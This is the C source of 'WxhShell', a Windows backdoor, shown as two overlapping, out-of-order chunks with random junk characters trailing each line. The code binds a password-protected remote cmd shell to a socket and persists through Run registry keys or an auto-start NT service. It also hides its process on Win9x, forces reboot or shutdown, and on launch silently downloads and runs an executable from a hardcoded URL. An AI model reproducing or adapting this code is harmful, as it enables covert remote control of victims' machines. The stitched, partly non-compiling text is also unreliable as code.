    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xdVsbW)L2  
    if(Boot(SHUTDOWN)) xo2j fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i5|)|x3  
    else { :i|]iXEI"  
    closesocket(wsh);  y(#6nG@S  
    ExitThread(0); } 7ND] y48  
    } c^&4m[?C[u  
    break; aMVq%{U  
    } ZUvc|5]  
  // 获取shell 7fXJP5j  
  case 's': { )1YX+',"  
    CmdShell(wsh); 2.\"Q  
    closesocket(wsh); +DO<M1uE  
    ExitThread(0); \#IKirf?  
    break; 3`)ej`  
  } G&t|aY-   
  // 退出 7#SfuZ0@  
  case 'x': { x&"P^gh)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U$S{j&?  
    CloseIt(wsh); }0f~hL24  
    break; KUpj.[5 qo  
    } 3w"_Onwk  
  // 离开 L$rr:^J  
  case 'q': { RS@[ +!:t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g)!q4 -q  
    closesocket(wsh); F)Z9Qlo  
    WSACleanup(); u \<APn  
    exit(1); k3KT':*  
    break; sXNb  
        } -8R SE4)  
  } uvw1 _j?  
  } oX'@,(6)  
gI"cZ h3}  
  // 提示信息 4j'`,a=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fwlicbs'  
} VDxF%!h(  
  } \;!7IIe#  
n&a\mGF  
  return; %;|dEY  
} Qc=-M'9  
$~VIx% h  
// shell模块句柄 TuaP  
int CmdShell(SOCKET sock) &0H_W xKeB  
{ ;*ni%|K  
STARTUPINFO si; Wyow MFp  
ZeroMemory(&si,sizeof(si)); 7#Uzz"^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mvp|S.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I$4>_D  
PROCESS_INFORMATION ProcessInfo; 'Sesh'2 /  
char cmdline[]="cmd"; X?;iSekI4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C\OZs%]At  
  return 0; Se37-  
} W}%"xy]N  
k+J63+obd  
// 自身启动模式 Z9*@w`x^u  
int StartFromService(void) UJ(UzKq8  
{ vp9wRGd  
typedef struct tR2%oT>h  
{ g_A#WQyh\'  
  DWORD ExitStatus; I?Z"YR+MQ  
  DWORD PebBaseAddress; MOay^{u  
  DWORD AffinityMask; NFC/4  
  DWORD BasePriority; C\vOxBAB  
  ULONG UniqueProcessId; HL dHyK/S  
  ULONG InheritedFromUniqueProcessId; nJ/}b/A{  
}   PROCESS_BASIC_INFORMATION; rl&.|;5uH;  
)4.-6F7U?  
PROCNTQSIP NtQueryInformationProcess; ^FVmP d*1  
N2Ysi$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MJCz %zK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZLdIEBi=  
uu"hu||0_  
  HANDLE             hProcess; k@h0 }%  
  PROCESS_BASIC_INFORMATION pbi; 8R-;cBT  
5uOz#hN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mdo$d-d&  
  if(NULL == hInst ) return 0; 4sW~7:vU  
:z *jl'L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -t>"s'kv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]0[ot$Da6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @A<~bod  
JfK4|{@  
  if (!NtQueryInformationProcess) return 0; SU6Aq?`@  
^HtB!Xc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pl-9FLJ  
  if(!hProcess) return 0; "WO0 rh`  
?STO#<a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MZB}O" r  
p=zTY7L  
  CloseHandle(hProcess); y~\uS  
F%af05L[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rkR~%U6V  
if(hProcess==NULL) return 0; 5tzO=gO[  
jA[")RVG  
HMODULE hMod; {,Rlq  
char procName[255]; WwWCN N~}  
unsigned long cbNeeded; B@VAXmCaoV  
G;/l[mvh,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7s!rer>  
AT1{D!b  
  CloseHandle(hProcess); ;:+2.//  
xU6dRjYhH9  
if(strstr(procName,"services")) return 1; // 以服务启动 TeO'E<@  
kHhku!CH  
  return 0; // 注册表启动 ^U96p0H"T  
} I0=L_&`)  
t}?-ao  
// 主模块 bR~5 :A^  
int StartWxhshell(LPSTR lpCmdLine)  Zy8tI#  
{ 5zkj ;?s  
  SOCKET wsl; b& -8/t  
BOOL val=TRUE; bd% M.,  
  int port=0; $bfmsCcHL  
  struct sockaddr_in door; +dRRMyxe4  
KrHKM3<  
  if(wscfg.ws_autoins) Install(); 9zrTf%m F  
[!8b jc]c  
port=atoi(lpCmdLine); 81!;Wt(?  
o)x&|0_  
if(port<=0) port=wscfg.ws_port; <RY!Mc  
v&3" (fp  
  WSADATA data; (I'{ pF)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O=lRI)6w@e  
u47`&\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,8d&uR}x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 64`l?F  
  door.sin_family = AF_INET; |"9vq<`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i~R+ g3oi  
  door.sin_port = htons(port); p~""1m01,D  
"a33m:]J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YI> xxWA  
closesocket(wsl); LU`)  
return 1; w"#rwV&  
} %}Y&qT?  
QD%6K=8Q  
  if(listen(wsl,2) == INVALID_SOCKET) { Q~k|lTf  
closesocket(wsl); aNQ(xiskb  
return 1; r KdsVW  
} m}zXy\  
  Wxhshell(wsl); VM\\.L  
  WSACleanup(); 0Zo><=  
vv<\LN0  
return 0; p9mGiK4!  
Q)qJ6-R|HD  
} D/%v/mpj$  
`T ^0&#  
// 以NT服务方式启动  cz>)6#&O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) TBba3%  
{ a2i:fz=[  
DWORD   status = 0; jsr)  
  DWORD   specificError = 0xfffffff; :`"- Jf  
G\,B*$3   
  serviceStatus.dwServiceType     = SERVICE_WIN32; h4MBw=Tz~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0Js5 ' 9}H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rg]b$tL~  
  serviceStatus.dwWin32ExitCode     = 0; @\xEK5SG  
  serviceStatus.dwServiceSpecificExitCode = 0; a|[f%T<<  
  serviceStatus.dwCheckPoint       = 0; 5J&Gc;  
  serviceStatus.dwWaitHint       = 0; qe(C>qjMbG  
XFl&(I4tB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :?m"kh ~  
  if (hServiceStatusHandle==0) return; C=U4z|Ym  
A&%7Z^Pp  
status = GetLastError(); SkVah:cF-  
  if (status!=NO_ERROR) DB_oRr[oj  
{ (b&Z\?"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~| ZAS]  
    serviceStatus.dwCheckPoint       = 0; ,H mGp  
    serviceStatus.dwWaitHint       = 0; ^^tTA^  
    serviceStatus.dwWin32ExitCode     = status; .pm%qEh  
    serviceStatus.dwServiceSpecificExitCode = specificError; ) hoVB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W_Y56@7e  
    return; $vYy19z  
  } a>,_o(]cW  
KM"?l<x0Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7!m<d,]N  
  serviceStatus.dwCheckPoint       = 0; '"rm66  
  serviceStatus.dwWaitHint       = 0; 5nceOG8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U~@;2\ o  
} >c5   
^gpd '*b  
// 处理NT服务事件,比如:启动、停止 qNrLM!Rj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fl{~#]  
{ xy$aFPH!-  
switch(fdwControl) T?.l_"%%d  
{ Nl%5OBm  
case SERVICE_CONTROL_STOP: Ukf:m&G  
  serviceStatus.dwWin32ExitCode = 0; 0JR)-*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )"M;7W?R0  
  serviceStatus.dwCheckPoint   = 0; XtBEVqrhi  
  serviceStatus.dwWaitHint     = 0; j> dZ26 >N  
  { yT7{,Z7t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BePb8 k<y  
  } ?@`5^7*  
  return; $*P +   
case SERVICE_CONTROL_PAUSE: h4Arg~Or  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lU&2K$`  
  break; 9(vp`Z8B4  
case SERVICE_CONTROL_CONTINUE: EQZ/v gho  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V|HO*HiB3  
  break; FB>P39u  
case SERVICE_CONTROL_INTERROGATE: cd=H4:<T5  
  break; p?P.BU\CR  
}; m6 xbO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M\IdQY-c  
} oblw!)  
l ^}5PHLd  
// 标准应用程序主函数 vMn$lT@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SNSoV3|k-  
{ 00y(E @~  
VAyAXN~  
// 获取操作系统版本 5b I4' ;  
OsIsNt=GetOsVer(); 4 EA$<n(A-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7*Zm{r@u  
,lFzL3'_0x  
  // 从命令行安装 'X/:TOk{W  
  if(strpbrk(lpCmdLine,"iI")) Install(); mYXL  
Ju;^^  
  // 下载执行文件 ]_|%!/_  
if(wscfg.ws_downexe) { "e>9R'y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YWV)C?5x&  
  WinExec(wscfg.ws_filenam,SW_HIDE); d0zp89BEn  
} Bqk+ne  
<+b~E,  
if(!OsIsNt) { !A|}_K1Cr  
// 如果时win9x,隐藏进程并且设置为注册表启动 JPj/+f  
HideProc(); %.\+j,G7  
StartWxhshell(lpCmdLine); vQ $"|8,  
} p#r qe<Ua  
else >!o!rs  
  if(StartFromService()) >Apa^Bp  
  // 以服务方式启动 dI=&gz  
  StartServiceCtrlDispatcher(DispatchTable); &fkH\o7)  
else B/3xV:Gy  
  // 普通方式启动 Cgf4E{\U!  
  StartWxhshell(lpCmdLine); [<f9EeziB  
`7V1 F.\  
return 0; >^<;;8Xh  
} #Wb4*  
~52'iI)Mw  
>:FmAey  
L"jjD:  
=========================================== r]~]-VZ/  
s(L!]d.S$y  
Bw[IW[(~!  
c5i7mx:.  
#X'su`+  
3qV\XC+  
" Z*NTF:6c  
']OT7)_  
#include <stdio.h> />>KCmc  
#include <string.h> RcO.1@2  
#include <windows.h> ke/4l?zs  
#include <winsock2.h> eU]I !pI<  
#include <winsvc.h> F)/4#[  
#include <urlmon.h> N1vA>(2A  
< 5ULu(b&$  
#pragma comment (lib, "Ws2_32.lib") 7v.O Lp  
#pragma comment (lib, "urlmon.lib") evVxzU&  
8S[bt@v  
#define MAX_USER   100 // 最大客户端连接数 u`!Dp$P  
#define BUF_SOCK   200 // sock buffer ~= otdJ  
#define KEY_BUFF   255 // 输入 buffer 8e`HXU(A  
FZ8Qj8  
#define REBOOT     0   // 重启 F6h IG G  
#define SHUTDOWN   1   // 关机 [w+1<ou;j  
u{l4O1k/c  
#define DEF_PORT   5000 // 监听端口 ,k9.1kjO*)  
i?mUQ'H  
#define REG_LEN     16   // 注册表键长度 7 VYhRC-  
#define SVC_LEN     80   // NT服务名长度 ps/|^8aGZ  
,t'"3<^Jg  
// 从dll定义API 6_tl_O7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F2)KAIl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9u3P>a~b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %\!0*(8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2%H_%Zu9  
e?]HNy  
// wxhshell配置信息 *r!qxiY= r  
struct WSCFG { 3z"%ht~;  
  int ws_port;         // 监听端口 : 'jVA  
  char ws_passstr[REG_LEN]; // 口令 87+u` ~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~)ysEZl  
  char ws_regname[REG_LEN]; // 注册表键名 PklJU:Pu\U  
  char ws_svcname[REG_LEN]; // 服务名 d9T:0A`M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5.kKg=a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %[o($a$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '#QZhz(+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !y2yS/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #TeAw<2U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'I2[} >mj2  
TA#pA(k  
}; h 3  J&  
Q,ZV C  
// default Wxhshell configuration KT*"Sbh  
struct WSCFG wscfg={DEF_PORT, ._.Qf<7  
    "xuhuanlingzhe", Yb:F,d-Ya  
    1, swLNNA.  
    "Wxhshell", 'Q.5` o  
    "Wxhshell", 0AhUH| ]  
            "WxhShell Service", 0p\Kf(|E*6  
    "Wrsky Windows CmdShell Service", 'RV wxd  
    "Please Input Your Password: ", A43[i@o  
  1, Kc>Rd  
  "http://www.wrsky.com/wxhshell.exe", \vW'\}  
  "Wxhshell.exe" {L M Q  
    }; )"E1/$*k  
%GMCyT  
// 消息定义模块 C MGDg}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;H?tcb*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MOuEsm;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J*^ i=y  
char *msg_ws_ext="\n\rExit."; D8$4PT0u  
char *msg_ws_end="\n\rQuit."; $?pfst~;O  
char *msg_ws_boot="\n\rReboot..."; ykGA.wo7/P  
char *msg_ws_poff="\n\rShutdown..."; Ffd;aZ4n  
char *msg_ws_down="\n\rSave to "; @%^h|g8>Fu  
W&&C[@Jd3  
char *msg_ws_err="\n\rErr!"; 1{qG?1<zZ6  
char *msg_ws_ok="\n\rOK!"; }L^PZS@Jf  
aHNn!9#1  
char ExeFile[MAX_PATH]; E*+]Iq1u  
int nUser = 0; "!D,9AkZS  
HANDLE handles[MAX_USER]; ;iUO1t)^  
int OsIsNt; Go[anf  
.j"@7#tW  
SERVICE_STATUS       serviceStatus; u|Ng>lU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~cfvL*~5  
\GGyz{i  
// 函数声明 W!* P  
int Install(void); _0Y?(}  
int Uninstall(void); #aKUD  
int DownloadFile(char *sURL, SOCKET wsh); JPg^h  
int Boot(int flag); \e%%ik,<  
void HideProc(void); ]BmnE#n&  
int GetOsVer(void); CUaL  
int Wxhshell(SOCKET wsl); SJsbuLxR  
void TalkWithClient(void *cs); jRW@$ <mG  
int CmdShell(SOCKET sock); \+C0Rv^^  
int StartFromService(void); R~RE21kAc  
int StartWxhshell(LPSTR lpCmdLine); OA[fQH#{lX  
5`::#[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * C*aH6*  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  D28>e  
q$}gQ9'z'  
// 数据结构和表定义 71\GK  
SERVICE_TABLE_ENTRY DispatchTable[] = OM@z5UP  
{ $ao7pvU6  
{wscfg.ws_svcname, NTServiceMain}, f{{J_""?&  
{NULL, NULL} C!Fi &~  
}; L#!m|_Mz  
}%0X7'  
// 自我安装 _gl1Qtv@rf  
int Install(void) r( zn1;zl  
{ t&_X{!1X"w  
  char svExeFile[MAX_PATH]; QEF$Jx  
  HKEY key; s/P+?8'9  
  strcpy(svExeFile,ExeFile); cSmy M~[  
iaRCV 6cl  
// 如果是win9x系统,修改注册表设为自启动 "Sw raq  
if(!OsIsNt) { =L{-Hu/j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?&VKZSo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9N6 \Ou~  
  RegCloseKey(key); )C rsm&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [?2,(X0yh1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KfQR(e9n   
  RegCloseKey(key); $JiypX^DOP  
  return 0; !y$+RA7\  
    } "2PT]!  
  } hsYv=Tw3C  
} JX#0<U|L  
else { s$^2Qp  
cPg{k}9Tvy  
// 如果是NT以上系统,安装为系统服务 y QGd<(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5>~D3?IAd  
if (schSCManager!=0) ? Q"1zcX  
{ ?0lz!Nq'S  
  SC_HANDLE schService = CreateService 3XNk*Y[5  
  ( &{ZUY3  
  schSCManager, 4Wa*Pcj  
  wscfg.ws_svcname, y'O<*~C(X  
  wscfg.ws_svcdisp, 1 r3} V7  
  SERVICE_ALL_ACCESS, $|AasT5w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -_Kw3x  
  SERVICE_AUTO_START, 8wn{W_5a  
  SERVICE_ERROR_NORMAL, LbR'nG{J  
  svExeFile, +/hd;s$x  
  NULL, 4AKPS&k;  
  NULL, <@Y`RqV+  
  NULL, =RQI5 nHdw  
  NULL, D?4bp'0 3  
  NULL 4EaxU !BT  
  ); d *#.(C9^  
  if (schService!=0) 7&w|  
  { b|\dHi2F T  
  CloseServiceHandle(schService); bo@, B  
  CloseServiceHandle(schSCManager); z8xBq%97us  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wmx3@]<  
  strcat(svExeFile,wscfg.ws_svcname); +M<W8KF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'c3'eJ0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B|'}HBkP  
  RegCloseKey(key); K'f2 S  
  return 0; `Io#440;  
    } h,,B"vPS  
  } 4b6)+*[O  
  CloseServiceHandle(schSCManager); ^@Z8 _PZo  
} DD`DU^o<  
} FwD q@Oj  
^$[iLX  
return 1; YWL7.Y>%5  
} aP B4!3W  
[.&n,.k  
// 自我卸载 Ei=rBi  
int Uninstall(void) =J'Q%qN<Zd  
{ Hlpt zez  
  HKEY key; ]0W64cuT  
j-ob7(v)*]  
if(!OsIsNt) { Qraa0]56  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #qeC)T  
  RegDeleteValue(key,wscfg.ws_regname); *eI{g  
  RegCloseKey(key); 4 =T_h`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8]rObT9>  
  RegDeleteValue(key,wscfg.ws_regname); ,qNbo 11  
  RegCloseKey(key); </aQ  
  return 0; "F4 3q8P  
  } ?-8DS5  
} h.NCG96S  
} po.QM/b \  
else { D]N)  
|I{3~+E h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !T 9CpIM%  
if (schSCManager!=0) 8~ &=vc  
{ 6?[SlPPE1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,LDL%<7t  
  if (schService!=0) @Bn4ZF B@  
  { m;L 3c(r.  
  if(DeleteService(schService)!=0) { 7xYz9r)w`  
  CloseServiceHandle(schService); *kcc]*6@s  
  CloseServiceHandle(schSCManager); 6~x a^3G:  
  return 0; t D4-Llj6  
  } I&<'A [vHl  
  CloseServiceHandle(schService); 1aUg({  
  } '(g;nU<  
  CloseServiceHandle(schSCManager); m_,Jbf  
} cvhwd\  
} XL'\$f  
yB 'C9wEH  
return 1; +wQ}ZP&  
} 2b-g`60<  
u6| IKZ  
// 从指定url下载文件 k4E9=y?  
int DownloadFile(char *sURL, SOCKET wsh) ,s2C)bb-  
{ Kf_xKW)^  
  HRESULT hr; $`lm]} {&  
char seps[]= "/"; \,r* -jr  
char *token; 0j 8`M"6  
char *file; 2 )3oX  
char myURL[MAX_PATH]; ,t:P  
char myFILE[MAX_PATH]; Ge7B%p8  
R.vOYzo  
strcpy(myURL,sURL); y O,Jgn  
  token=strtok(myURL,seps); 1}+b4 "7]  
  while(token!=NULL) n$9Xj@  +  
  { N">#fYix  
    file=token; o$V0(1N  
  token=strtok(NULL,seps); 'f.k'2T  
  } C ,|9VH  
?<Lm58p8  
GetCurrentDirectory(MAX_PATH,myFILE); :"H? phk  
strcat(myFILE, "\\"); g,W34*7=Q  
strcat(myFILE, file); L 4Z+8*  
  send(wsh,myFILE,strlen(myFILE),0); {FS)f  
send(wsh,"...",3,0); #;?/fZjY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [x]~G  
  if(hr==S_OK) Ih4$MG6QC  
return 0; fNfa.0 s  
else Ajo IL  
return 1; oN%zpz;OR  
6a_U[-a9;  
} a'. 7)f[g}  
\fuz`fK:  
// 系统电源模块 2)T;N`tNw  
int Boot(int flag) b?qV~Dg k`  
{ }^j8<  
  HANDLE hToken; `l/nAKg?W  
  TOKEN_PRIVILEGES tkp; LsaX HI/?b  
 :8==Bu  
  if(OsIsNt) { )=MK&72r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?~E"!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }maD8,:t  
    tkp.PrivilegeCount = 1; iHK.hs;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P#`M8k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }pnp._j  
if(flag==REBOOT) { z( }w|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -;FAS3(wy  
  return 0; ;Krb/qr4_  
} w5 ]lU  
else { 5X>~39(r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \NEk B&^n  
  return 0; c_?^:xs:d  
} 8#- Nx]VM  
  } CDsl)  
  else { cMnN} '  
if(flag==REBOOT) { " a,4E{7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !$>b}w'  
  return 0; @!O(%0 =  
} DT)] [V^w  
else { 8{ =ha  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aDxNAfP  
  return 0; AXSip  
} YRr,{[e  
} 'mTY56Yq  
o?Cc  
return 1; 2N]8@a  
} .Dl ?a>I  
3EY m@oZj  
// win9x进程隐藏模块 WVK AA.  
void HideProc(void) 23`salLclG  
{ r<Cr)%z!  
j(]O$""  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `wU['{=  
  if ( hKernel != NULL ) HW,v"  
  { x?0K'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l^B4.1rT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )pT5"{  
    FreeLibrary(hKernel); ;aX?K/  
  } \%.oi@A  
)*{B_[  
return; Sy4|JM-5  
} #s15AyKz5  
p@uHzu7  
// 获取操作系统版本 b4bd^nrqV  
int GetOsVer(void) ?Tu=-ppw  
{ N-knhA  
  OSVERSIONINFO winfo; e84%Y8,0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NA'45}fQ  
  GetVersionEx(&winfo); A#19&}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ->.9[|lIg  
  return 1; ",Vx.LV  
  else _KxR~k^  
  return 0; I"x|U[*B  
} /j4G}  
Mx`';z8~  
// 客户端句柄模块 aX6}:"R2C  
int Wxhshell(SOCKET wsl) 6sQ;Z|!Pz  
{ >~Tn%u<  
  SOCKET wsh; i8-Y,&>V  
  struct sockaddr_in client; G/ ~gF7  
  DWORD myID; >A6W^J|[  
wy${EY^h  
  while(nUser<MAX_USER) ilHf5$  
{ &z:bZH]DH  
  int nSize=sizeof(client); NCG;`B`i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 92A9gY  
  if(wsh==INVALID_SOCKET) return 1; 8wOscL f:  
bHE.EBZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y)1J8kq_  
if(handles[nUser]==0) qGEp 6b H  
  closesocket(wsh); QT^b-~^  
else svl!"tMXl  
  nUser++; 6o\uv  
  } II.: k.D`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l"nS +z  
3o?eUwI}  
  return 0; ' VCuMCV  
} .r6x9t  
Ddg!1SF  
// 关闭 socket Q~svtN  
void CloseIt(SOCKET wsh) 1E&S{.  
{ 0'$67pY  
closesocket(wsh);  JJ}DYv  
nUser--; r hucBm  
ExitThread(0); Og1vD5a  
} y_Urzgm(  
F`x_W;\  
// 客户端请求句柄 g)r{LxT#+  
void TalkWithClient(void *cs) =RRv& "2r  
{ ~M} K]Li  
LPu *Lkx  
  SOCKET wsh=(SOCKET)cs; QSa#}vCp*  
  char pwd[SVC_LEN]; #G F.M,O/h  
  char cmd[KEY_BUFF]; 0 D '^:  
char chr[1]; _8 0L/92  
int i,j; bEQ-? X%7  
Xo~q}(ze^  
  while (nUser < MAX_USER) { I#O"<0 *r  
]YFjz/f  
if(wscfg.ws_passstr) { j7gTVfO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K$/"I0YyI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ln=fq:  
  //ZeroMemory(pwd,KEY_BUFF); /NCN wAj7  
      i=0; v^t7)nx^  
  while(i<SVC_LEN) { 2z;3NUL$n  
WlvT&W  
  // 设置超时 Q8m%mJz~]  
  fd_set FdRead; j8[U}~*^  
  struct timeval TimeOut; 2-8Dc4H]r  
  FD_ZERO(&FdRead); 0NZ'(qf~9  
  FD_SET(wsh,&FdRead); $6wSqH?q  
  TimeOut.tv_sec=8; M57<e`m  
  TimeOut.tv_usec=0; ~Hub\kn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S qb>a j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #!UJY%c ~  
q6C`hVM l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z7`|N`$Z#s  
  pwd=chr[0]; 3I~.'>Pd  
  if(chr[0]==0xd || chr[0]==0xa) { 9S}rTZkEq  
  pwd=0; `H$XO{w  
  break; s_fe4K  
  } *#Ia8^z=p  
  i++; ZlMT) ~fM&  
    } n~|?)EL  
2 A!*8w  
  // 如果是非法用户,关闭 socket H8 ? Y{H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xp95KxHHo  
} S!=R\_{u$  
5= &2=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y8v[kuo7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); = wDXlAQ  
r.zgLZ}3&V  
while(1) { }Cw,m0KV/  
# M/n\em"X  
  ZeroMemory(cmd,KEY_BUFF); Wd)\r.pJ  
$Uy+]9  
      // 自动支持客户端 telnet标准   ^?""'1iuQx  
  j=0; 5yoi;$~}_0  
  while(j<KEY_BUFF) { M NwY   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j;_  
  cmd[j]=chr[0]; ?i#x13  
  if(chr[0]==0xa || chr[0]==0xd) { JXe~ 9/!  
  cmd[j]=0; W5`pQdk  
  break; CQ/+- -o  
  } Eq;w5;7s  
  j++; aaY AS"/:  
    } L{F]uz_[x  
jwE=  
  // 下载文件 <Y}m/-sD5  
  if(strstr(cmd,"http://")) { zE$HHY2ovi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !P EKMDh  
  if(DownloadFile(cmd,wsh)) QA0uT{x90  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +39uKOrZ  
  else zM&ro,W  
